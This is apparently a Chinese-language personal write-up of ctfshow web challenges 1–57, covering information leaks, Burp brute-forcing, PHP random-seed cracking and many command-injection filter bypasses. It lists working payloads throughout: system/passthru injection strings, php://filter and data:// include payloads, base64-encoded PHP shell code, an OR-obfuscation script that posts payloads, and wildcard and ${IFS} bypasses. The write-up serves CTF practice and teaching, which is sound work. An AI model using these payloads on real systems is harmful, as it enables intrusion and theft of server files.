# 1. 信息搜集

# web1、2

查看网页源代码:ctrl+u

# web3

bp 抓包后,Action 中发送到 Repeater,看见 response 中有 flag

<img src="C:\Users\vvww\AppData\Roaming\Typora\typora-user-images\image-20241230214008662.png" alt="image-20241230214008662" style="zoom:80%;" />

# web4

robots 协议,访问 /robots.txt 即可,可由此知道网站结构

# web5

php 源码泄露,访问 /index.phps ,phps 就是源码文件

# web6

用 dirsearch 进行目录扫描,找到 /www.zip 目录,访问后得到压缩文件,解压后发现压缩文件里的 index.php 中说 flag 在 fl000g.txt 中,不过压缩包内的是假的,访问 url/fl000g.txt 获得 flag

# web7

仍然利用 dirsearch 进行扫描,找到 /.git/ ,访问获取 flag

# web8

仍然是版本控制访问 url/.svn ,获取 flag

# web9

根据题目中发现 vim 中有故障出现,故根据 vim/vi 意外退出的隐藏文件进行访问 url/index.php.swp , 得到文件,打开即可获取 flag<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20241231165953059.png" alt="image-20241231165953059" style="zoom:80%;" />

# web10

cookie 中值藏有 flag,要将两个括号利用 ascii 转义一下(可以用 url 解码)

# web11

利用 nslookup 进行域名解析 nslookup -query=any flag.ctfshow.com (现在疑似解析出问题了)

# web12

利用 dirsearch 扫描,有 /admin/ 访问后发现是进行登录,密码为网页首页下的电话号码,账号为 admin

# web13

在源代码中发现有 document.pdf ,访问发现是技术手册 < img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101101315089.png" alt="image-20250101101315089" style="zoom:50%;" />

按照所给地址访问 url/system1103/login.php <img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101101509233.png" alt="image-20250101101509233" style="zoom: 50%;" />

可以进行登录 < img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101101654830.png"alt="image-20250101101654830"style="zoom:50%;" /> 登录后即可获得 flag

# web14

dirsearch 扫描发现有个 editor,访问后是个编辑器,看 wp 知道 插入文件 里的文件空间是 web 服务器的文件空间

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101113915716.png" alt="image-20250101113915716" style="zoom:50%;" />

找到html(在var/www/html/) 里面有个 /nothinghere/fl000g.txt 直接访问这个 url/nothinghere/fl000g.txt , 注意:访问的不是 url/editor/attached/file/var/www/html/nothinghere/fl000g.txt , 直接以 html 后的路径开始

# web15

扫描后发现有个 admin,访问是登录页面,忘记密码中询问所在城市,查看 QQ 号,发现城市西安,修改密码再登录即可

# web16

看提示是探针,访问 url/tz.php , 进去后发现可以点击 phpinfo ,访问一下,里面搜索 flag 即可找到

# web17

dirsearch 访问发现有 backup.sql 访问后得到 sql 文件,打开得到 flag

# web18

# 解法 1:

访问 F12 中找到 js 文件双击,打开了 js 文件页面,查看代码有下面的逻辑判断

image-20250101161826013

对输出内容进行 unicode 解码,

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101161930005.png" alt="image-20250101161930005" style="zoom:50%;" />

访问 110.php 获得 flag

# 解法 2:

在 F12 开发者模式中的控制台进行修改数值:输入 score=130run() 点击重新开始的确定后得到输出:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101163946573.png" alt="image-20250101163946573" style="zoom:50%;" />

# web19

查看源码,进行 aes 解密:<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101171809640.png" alt="image-20250101171809640" style="zoom:50%;" />

得到密码,获取 flag

# web20

使用 dirsearch 递归 (-r) 扫描,找到 /db/db.mdb , 访问后得到文件,打开后搜索 flag 找到

# 爆破:

# web21

访问后弹出登录框,随便输入 admin 和123 抓包后发现为:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102162019584.png" alt="image-20250102162019584" style="zoom:67%;" />

发送到 intruder,选择 Sniper, 用一对 $ 将要修改的 base64 围起来,<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102165552865.png" alt="image-20250102165552865" style="zoom:67%;" />

在 payloads 中选择

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102165631865.png" alt="image-20250102165631865" style="zoom:50%;" />

position1 为: admin: ,positon2 设置为题目提供的字典,选择对 payload 进行 base64 编码:<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102165815740.png" alt="image-20250102165815740" style="zoom:50%;" />

不勾选 payload encoding ,以防将 == 等特殊符号进行 url编码

接下来爆破即可,找到状态为 200 的页面查看 response:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102170024443.png" alt="image-20250102170024443" style="zoom:67%;" />

# web22

使用在线工具进行域名爆破

# web23

根据判断语句构造 python 脚本,采用 hashlib 库进行遍历找到符合条件的值,利用 get 传参该值获取 flag

import hashlib
for i in range(1000):
    token=hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if(int(token[1],16)==int(token[14],16)&int(token[14],16)==int(token[17],16)):
        if((int(token[1],16)+int(token[14],16)+int(token[17],16))/int(token[1],16))==int(token[31],16):
            print(i)

得到结果 422:

image-20250102203849863

HackBar 中进行 get 传参,得到 flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102203955081.png" alt="image-20250102203955081" style="zoom:67%;" />

# web24

有随机函数 mt_srand(372619038) , 经测试后发现每次输出都是同一个固定值: 1155388967

用 gets 传参穿该值即可获得 flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102215142078.png" alt="image-20250102215142078" style="zoom:67%;" />

# web25

调用了三次 mt_rand 第一次可以通过计算反推出为 1166487028 , 利用工具 php_mt_seed 得出种子(flag 的 MD5 值的 0-8 位):通过抓包的 response 中知道为 PHP7.3.11,找这个范围的种子:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103001944918.png" alt="image-20250103001944918" style="zoom:67%;" />

** 注意:** 代码判断还需要让 rand=0 才能进入判断 cookie 的部分,所以要让 r=1166487028 , 经测试 cookie 的 token=2861927372

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103002231593.png" alt="image-20250103002231593" style="zoom:80%;" />

# web26

进入到管理系统安装页面,发现要输入信息,根据题目应该是要爆破密码,抓包进行爆破

测试一下随便输入提交后会弹出:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103153312762.png" alt="image-20250103153312762" style="zoom: 50%;" />

发现访问的页面中有一个 checkdb.php , 这个是在页面显示数据库连接成功后才有,抓包,进行爆破:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103153656343.png" alt="image-20250103153656343" style="zoom:67%;" />

猜测密码为纯数字,爆破:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103153806855.png" alt="image-20250103153806855" style="zoom:50%;" />

爆破超时了,看了别人的 wp 发现:将 post 传入的值都删掉就可以得到 flag:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103164632921.png" alt="image-20250103164632921" style="zoom:50%;" />

下面两个都可以(在checkdb.php页面POST即可)
&a=&p=&d=&u=&pass=
a=&p=&d=&u=&pass=

# web27

点击录取名单会下载一个 excel 表格:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103180906181.png" alt="image-20250103180906181" style="zoom:33%;" />

进入到学籍信息查询系统:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103180953166.png" alt="image-20250103180953166" style="zoom: 33%;" />

随便输入后进行抓包(火狐貌似直接复制表格中的数据可能抓不到包,随便输入再试试),爆破是年月日(bp 中手动输入: yyyyMMdd <img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103182434118.png" alt="image-20250103182434118" style="zoom:50%;" />)

找到 response 不一样的长度:<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103182536968.png" alt="image-20250103182536968" style="zoom:50%;" />

得出身份证号,去获取 flag(再火狐中不会弹出结果,再 google 得到结果:<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103182811227.png" alt="image-20250103182811227" style="zoom:50%;" />)

登录获取 flag

# web28

要进行目录爆破(将 get 中的 /2.txt 删除),burpsuite 抓包,利用数字爆破:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105160615498.png" alt="image-20250105160615498" style="zoom:67%;" />

由于爆破时间太久了,就用了 wp 中附近的数字进行爆破(Step 为间隔):

payload1:从72爆破到99

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105160727207.png" alt="image-20250105160727207" style="zoom:50%;" />

payload:从1爆破到31

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105160841525.png" alt="image-20250105160841525" style="zoom:50%;" />

最终爆破结果是 / 70/20,得到 flag:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105161059414.png" alt="image-20250105161059414" style="zoom:50%;" />

# 命令执行:

# web29

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105192608336.png" alt="image-20250105192608336" style="zoom:50%;" />

这里是对 flag 进行了过滤( i是设置为不区分大小写 ),eval 会将字符串当作 php代码 或者 系统命令执行 所以先令:

?c=system("ls");#得到目录,发现有个 flag.php

然后可以:

c=system("cat fla*");#flag 在源代码中
?c=system("tac fla*");#tac 将内容从最后一行往前输出,直接就能看到 flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105193240130.png" alt="image-20250105193240130" style="zoom:50%;" />

注意:最后要加上分号 ; 作为结束

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105193202573.png" alt="image-20250105193202573" style="zoom:67%;" />

# web30

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105194122223.png" alt="image-20250105194122223" style="zoom:50%;" />

过滤了 system,可以利用 passthru() 来执行系统命令

/?c=passthru("ls");# 看见有 flag.php
/?c=passthru("tac fla*");#输出 flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105194401925.png" alt="image-20250105194401925" style="zoom:50%;" />

# web31

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105234437819.png" alt="image-20250105234437819" style="zoom:50%;" />

过滤了 空格 (%20 也不能用了)和 system 已经 cat , 所以使用 tab(%09) 来代替:

c=passthru("tac%09fla*");
c=passthru("more%09f*");

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105234734682.png" alt="image-20250105234734682" style="zoom:50%;" />

# web32

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106113002558.png" alt="image-20250106113002558" style="zoom:50%;" />

过滤了了 ;( ,只能用不含括号的函数进行绕过,利用 include 文件包含漏洞利用 php 的 filter 伪协议伪协议进行:

c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

得到 base64 的 flag:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106120629863.png" alt="image-20250106120629863" style="zoom:80%;" />

解码后得到 flag

# web33

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106121200582.png" alt="image-20250106121200582" style="zoom: 67%;" />

这次又多过滤了一个 " ,仍然可以用文件包含和 filter 伪协议进行:

c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106121407852.png" alt="image-20250106121407852" style="zoom:67%;" />

解码得到 flag

# web34

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106123159664.png" alt="image-20250106123159664" style="zoom:67%;" />

过滤了 : , 但是只对参数 c 进行检查,前两题的 payload 都是 a 的参数里有 : ,所以仍然可以使用:

c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
#或者用data:
c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106123554998.png" alt="image-20250106123554998" style="zoom:67%;" />

# web35

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106123915721.png" alt="image-20250106123915721" style="zoom:67%;" />

过滤了 <= ,前面的 payload 仍然可以用:

c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106124112756.png" alt="image-20250106124112756" style="zoom:67%;" />

# 解法 2:

#GET:
?c=include$_GET[1]?>&1=php://input  #php://input默认读取没有处理过的POST数据
#POST:
<?php system('tac flag.php');?>
#需要注意,因为POST没有按照key=value封装数据, 因此hackBar认为数据有问题, 不会发送数据, 可以使用Burp Suite发送数据(可以不用在bp中对特殊符号进行url编码)

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106124757596.png" alt="image-20250106124757596" style="zoom:67%;" />

# web36

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106125034062.png" alt="image-20250106125034062" style="zoom:67%;" />

过滤了 0-9 的数字,因此对新传入的 变量 命名不用数字就行:

c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106125223497.png" alt="image-20250106125223497" style="zoom:67%;" />

# web37:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106141119730.png" alt="image-20250106141119730" style="zoom:67%;" />

** 注意:** 这里的 echo $falg; 并没有对 flag 进行赋值,所以没有任何输出

不再是 eval函数 了,对 include()函数 可以利用伪协议来传入 php 代码并执行,但是不能出现字符 flag

# 解法 1:

利用 data:// 后面的 url 的内容被 include 传入并执行

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg== #转为base64,绕过过滤关键字flag,原内容:<?php system("tac flag.php");?>

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106141404438.png" alt="image-20250106141404438" style="zoom:67%;" />

# 解法 2:

利用 post 传入带有 flag 关键字的内容,而对 get 的过滤不会检查 post 的内容,故使用 php://input 协议

#GET:
?c=php://input  #php://input默认读取没有处理过的POST数据,get的参数过滤不会对post的内容进行过滤
#POST:
<?php system('tac flag.php');?> #这里用hackbar不能执行,因为post没有给变量名,需要用burpsuite

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106141751102.png" alt="image-20250106141751102" style="zoom:67%;" />

# web38

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106142751892.png" alt="image-20250106142751892" style="zoom: 67%;" />

过滤了 php ,所以上面的解法 2 用不了,用解法 1:

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg== #转为 base64,绕过过滤关键字 flag,`;base64` 是表示是 base64 编码,分号用于分隔 编码类型
#这里用 data:// 协议是将后面的内容作为文件内容使用,也就相当于为 include 提供了文件

# web39

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106144616027.png" alt="image-20250106144616027" style="zoom:67%;" />

这里利用 . 对传入的变量的内容后再拼接一个 .php ,不能让该拼接内容影响我们的 php 语句,所以需要对 php 进行闭合 用<?php ...?> 使后面拼接的内容不影响我们的代码

** 注意:** 不能使用 base64,猜测是被后面拼接的内容干扰了,还没将 base64 解析出来两个闭合符号(应该是先拼接然后再将整体当作 base64 解析)

c=data://text/plain,<?php system("tac fla*");?>

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106145138088.png" alt="image-20250106145138088" style="zoom:67%;" />

# web40

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106155402078.png" alt="image-20250106155402078" style="zoom:80%;" />

基本上过滤了所有特殊字符和数字,不过没有过滤下划线 _ ,看了 wp 才注意到里面过滤的是中文的 () 意味着仍然可以用英文的 () ,这回使用无参函数来读文件:

首先先读目录:

c=var_dump(scandir(pos(localeconv())));#查看当前目录内容
#或
c=print_r(scandir(getcwd()));

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106191043769.png" alt="image-20250106191043769" style="zoom:80%;" />

知道 flag.php 是第三个,所以读倒数第二个:

c=show_source(next(array_reverse(scandir(getcwd()))));#读倒数第二个
#解释:getcwd/pos (localeconv ()) 返回 ".",
#就相当于 scandir (".") 就是遍历当前目录返回目录文件数组(第一个是 ".", 第二个是 "..",第三个才是真正的文件名开始)
#然后将数组颠倒,假如有两个文件:flag.php、index.php,那么数组为 arry [0]=".", arry [1]="..", arry [2]=flag.php, arry [3]=index.php, 倒序后 flag.php 就是第二个,用 next 就可以指向 flag.php
#show_source 就可以读倒数第二个

** 注意:** 这里不能对读第三个数组用两个 next 嵌套,可能因为解析顺序的原因使无法正确读出 flag.php<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106191251302.png" alt="image-20250106191251302" style="zoom:80%;" />

# web41

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107125507913.png" alt="image-20250107125507913" style="zoom:67%;" />

过滤了许多字符,但是没有过滤 | (或运算),因此可以通过利用没有被过滤的符号进行 ** 或运算 来得到被过滤的字符 **,从而达到绕过的目的

通过脚本:

import re
import urllib
from urllib import parse
import requests
# 初始化一个列表来存储编码后的字符信息
contents=[]
# 遍历所有可能的 ASCII 字符(从 0x00 到 0xFF)
for i in range(256):
    for j in range(256):
        hex_i='{:02x}'.format(i)#将整数 i 格式化为 两位十六进制 数字,并确保其长度为 2 位。如果数字不足两位,会用前导零补充。
        hex_j='{:02x}'.format(j)#02: 表示数字总长度为 2,如果数字少于 2 位,会用 0 填充,x:表示将数字格式化为 小写的十六进制数
        #re.compile 是 re 模块中的一个函数,用于 编译正则表达式
        preg=re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-',re.I)#re.I 是不区分大小写,
        # r‘’是将 `\` 视为普通字符,不再 python 中转义,在正则解释器中转义
        #当前字符是正则匹配的字符串则不进行或运算
        if preg.search(chr(int(hex_i,16))) or preg.search(chr(int(hex_j,16))):
            continue#跳出当此循环
        #将字符转换为百分号编码(url 编码)格式(如:'%20' 代表空格)
        a='%'+hex_i
        b='%'+hex_j
        # 计算两个十六进制值按位或运算的结果
        c=chr(int(a[1:],16)|int(b[1:],16))#a [1:] 是取百分号后(从索引 1 开始)的所有内容
        # 只保留 ASCII 码在 32 到 126 之间的字符(即可打印字符)
        if 32<=ord(c)<=126:
            #将字符、其百分号编码形式以及备用编码形式添加到列表中 (将字符和构成该字符的两个 url 编码放入列表)
            contents.append([c,a,b]) #c,a,b 作为一个列表元素加入到 contents 列表尾部,如 [[c1,a1,b1],[c2,a2,b2]]
def makepayload(cmd):#cmd=system cat flag
    payload1='' # 初始化第一个 payload 字符串
    payload2='' # 初始化第二个 payload 字符串
    # 遍历给定命令 cmd 的每一个字符
    for item in cmd:
        for i in contents:#第一次循环时 i=[c1,a1,b1]....(字符和构成该字符的两个编码)
            if item==i[0]:#如果找到与 cmd 的字符匹配
                payload1+=i[1] #将 url 编码 1 放入 payload1
                payload2+=i[2] #将 url 编码 2 放入 payload2
                break # 进入匹配 cmd 的下一个字符
    #返回一个字符串,其中包含两个 url 编码,以括号包围
    return '("'+payload1+'"|"' + payload2 +'")'#也就是 ("payload1"|"payload2")
#获取用户输入的 url
URL=input('url(是http,不是https):')
#调用 makepayload 找到能够构造 cmd 字符 url 编码
payload=makepayload('system')+makepayload('cat flag.php')#PHP 允许省略括号,特别是当函数参数只有一个且可以作为有效的字符串时。
#在 system cat flag.php 的情况下,cat flag.php 被自动视作 system () 函数的参数,因此命令会被正确执行。
print(payload)
# 发送 POST 请求到指定的 URL,数据中包含编码后的 payload
#urllib.parse.unquote () 对 payload 进行 URL 解码,编码的字符串会被解码成原始字符串,如将 %20 解码成空格
#data 参数是一个字典,其中包含你要通过 POST 请求发送的数据。在这个例子中,字典的键是 'c',值是解码后的 payload
#这里的 c 就是 c=xxxxx;(post 或 gets 传入的参数变量)
response=requests.post(URL,data={'c':urllib.parse.unquote(payload)})
# 输出服务器的响应文本
print(response.text)

输入 url 后得到 flag

# web42

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107133945200.png" alt="image-20250107133945200" style="zoom: 67%;" />

将回显重定向到 黑洞 ,导致不再回显,要对字符串进行分隔

利用 & 进行分隔参数

c=tac%20flag.php%26

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107133825549.png" alt="image-20250107133825549" style="zoom:67%;" />

# web43

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107134346449.png" alt="image-20250107134346449" style="zoom:67%;" />

过滤了 分号cat ,上一题的仍然可以用:

c=tac%20flag.php%26 #%26 是 & amp;

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107134508463.png" alt="image-20250107134508463" style="zoom:67%;" />

# web44

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107134832319.png" alt="image-20250107134832319" style="zoom:67%;" />

多过滤了个 flag ,利用 fla* 去绕过

?c=tac%20fla*.php%26

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107134957337.png" alt="image-20250107134957337" style="zoom:67%;" />

# web45

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107140746920.png" alt="image-20250107140746920" style="zoom:67%;" />

过滤加上了空格,利用 tab(%09) 来代替

?c=tac%09fla*.php%26

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107140726513.png" alt="image-20250107140726513" style="zoom:67%;" />

# web46

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107143101390.png" alt="image-20250107143101390" style="zoom:67%;" />

这里又把 数字*$ 给过滤了,tab 不能用了,${IFS} 也不行,可以用 < 或者 <> 进行绕过:

?c=tac<fla\g.php||

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107143348387.png" alt="image-20250107143348387" style="zoom:67%;" />

# web47

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107144047159.png" alt="image-20250107144047159" style="zoom:67%;" />

又新过滤了几个查看文件的命令,但是没有过滤 tac ,上一题的仍然可以用:

?c=tac<fla\g.php||

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107144025654.png" alt="image-20250107144025654" style="zoom:67%;" />

# web48

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107144647624.png" alt="image-20250107144647624" style="zoom:67%;" />

过滤又新增了一些命令,但是仍然没有过滤 tac ,所有上一题的仍然可以用:

?c=tac<fla\g.php||

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107144937335.png" alt="image-20250107144937335" style="zoom:67%;" />

# web49

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107145302344.png" alt="image-20250107145302344" style="zoom:67%;" />

新增过滤了一个 %百分号 ,但是仍然没有 tac ,继续用上一题的:

?c=tac<fla\g.php||

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107145420712.png" alt="image-20250107145420712" style="zoom:67%;" />

# web50

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107145807289.png" alt="image-20250107145807289" style="zoom:67%;" />

新增过滤了 x09(tab)0x26(&) ,继续用上一题的:

?c=tac<fla\g.php||

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107150027637.png" alt="image-20250107150027637" style="zoom:67%;" />

# web51

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107160156249.png" alt="image-20250107160156249" style="zoom: 80%;" />

这次把 tac 也过滤了,可以用 nl 进行输出,也可以对 tac 插入转义字符:

?c=nl<fla\g.php|| #nl:显示的时候,顺便输出行号,flag 在源代码中
    
?c=t\ac<fla\g.php|| #在 tac 中插入转义字符 \

image-20250107160436095

image-20250107160519998

# web52

image-20250108113727021

过滤了 <> ,空格只能用其他的来代替,发现没有过滤 ${} ,因此可以通过 ${IFS} 来绕过:

?c=t\ac${IFS}fla\g.php||

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108000238731.png" alt="image-20250108000238731" style="zoom:67%;" />

发现不是 flag,需要找到 flag 的存放路径:

?c=find${IFS}/${IFS}-name${IFS}fla\g|| #find /-name 文件名

发现有两个 flag 文件:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108003005233.png" alt="image-20250108003005233" style="zoom:67%;" />

查看一下,得到 flag:

?c=t\ac${IFS}/fla\g|| #?c=tac /flag  【注意:flag 与 / 不能隔开】

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108003351224.png" alt="image-20250108003351224" style="zoom:67%;" />

顺便看一下 /tmp/flag 里藏的什么:

?c=t\ac${IFS}/tmp/fla\g||

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108003557739.png" alt="image-20250108003557739" style="zoom:67%;" />

# web53

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108113121382.png" alt="image-20250108113121382" style="zoom: 80%;" />

会将我们输入的 c 打印出来,同时也把 c 作为 system 的参数,先查看目录:

?c=ls

image-20250108113323349

【这里的前面的 ls 不是文件名的,是 echo 打印的我们输入的 ls 命令】

访问 flag.php 即可:

?c=t\ac${IFS}fla\g.php

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108113443038.png" alt="image-20250108113443038" style="zoom:80%;" />

# web54

image-20250108140254212

  • 采用了 .* 来匹配任何字符,使得过滤的关键字不用完全一致,只要有相应的字符顺序就行,中间可以穿插任意字符:如 .*c.*a.*t.* 可以与 c1a2t3 匹配可利用 ? 来进行绕过:
  • 同时 cat 被过滤,想要用通配符 ? 必须要唯一确定一个命令,因此需要完整路径来保证是唯一路径: /bin/cat => /bin/ca?
c=/bin/ca?${IFS}f???.php  #【tac 貌似不再 bin 路径下,/bin/ta? 找不到】

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108140958208.png" alt="image-20250108140958208" style="zoom:67%;" />

或者:

c=mv${IFS}fla?.php${IFS}a.txt #mv 命令把 flag 文件重命名,再使用 uniq 查看 a.txt【可以用 ls,看文件】
c=uniq${IFS}a.txt #用 uniq 查看 a.txt 文件,在源代码中

# web55

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109190637578.png" alt="image-20250109190637578" style="zoom:67%;" />

过滤了字母,导致不能通过常规方法传入系统命令,可以通过 无数字、字母命令执行 来绕过:

# 利用方法:

(在 ctftools / 无字母数字命令执行上传文件.html)【用 http,修改 url 后打开网页上传文件】

【注意是仍然 get 方式提交后面的 payload】

<!-- 构造一个 post 上传文件的数据包,这是个上传页面,选择文件上传 -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://f2ef59eb-65f2-45f1-ba08-9e5def4312f5.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!-- 链接是当前打开的题目链接 -->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传文件【不能直接提交,要抓包,提交文件和 payload 是一起进行的】:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109133020604.png" alt="image-20250109133020604" style="zoom:80%;" />

抓包:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109133255160.png" alt="image-20250109133255160" style="zoom:80%;" />

POST 后加入 payload【get 方式】: ?c=.+/???/????????[@-[] 【有可能最后一个字母不是大写,所以要多提交几次】

?c=.+/???/????????[@-[] #后面是 8 个?和 [@-[],[@-[] 代表一个大写字母,总共 9 个字母,php+6 个字母 (共九个)
?c=.%20/???/????????[@-[]  #也可以

image-20250109133610734

看见是 flag.php ,在抓包中修改 lscat flag.php 【同样可能需要多提交几次才能出现 flag】

image-20250109133810106

# web56

image-20250109191414779

这次过滤了一堆符号,但是没有过滤 / 所以仍然可以用文件路径去用 bash 执行文件内的命令 . file ,用上一题的脚本,修改 url 后上传文件并抓包:

?c=.%20/???/????????[@-[]  # 这里虽然过滤了 %,但是 %20 传入 get 后会进行 url 解码成为 `(空格)`,解码后才进行的过滤,所以没影响

image-20250109191817527

修改为 cat flag.php

image-20250109191902957

# web57

image-20250109212152123

过滤了 ?[ 那用文件上传的方法行不通了,看题目说明 flag 在 36.php 中,并且我们只需要传入文件名就行,通过 $(( )) 来构造出任意数字即可:

$(())值为0
$((~$(())))值为-1
$(($((~$(())))$((~$(()))))) #$((-1-1))=-2
$((~$(($((~$(())))$((~$(()))))))) #$((~-2))=1,即对 - 2 取反
加入得到36,可以有37个`-1`运算后再取反,
即在$((~$(())))里放入37个$((~$(()))) #~ 后的 $(()) 是计算 37 个 - 1 的和,然后 $((~)) 就是计算取反

利用脚本

get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))"		# -1
payload = get_reverse_number.format(negative_one*37) #37 个 - 1, 再取反得到 36
print(payload)
#输出的直接就是已经取反后的结果 36
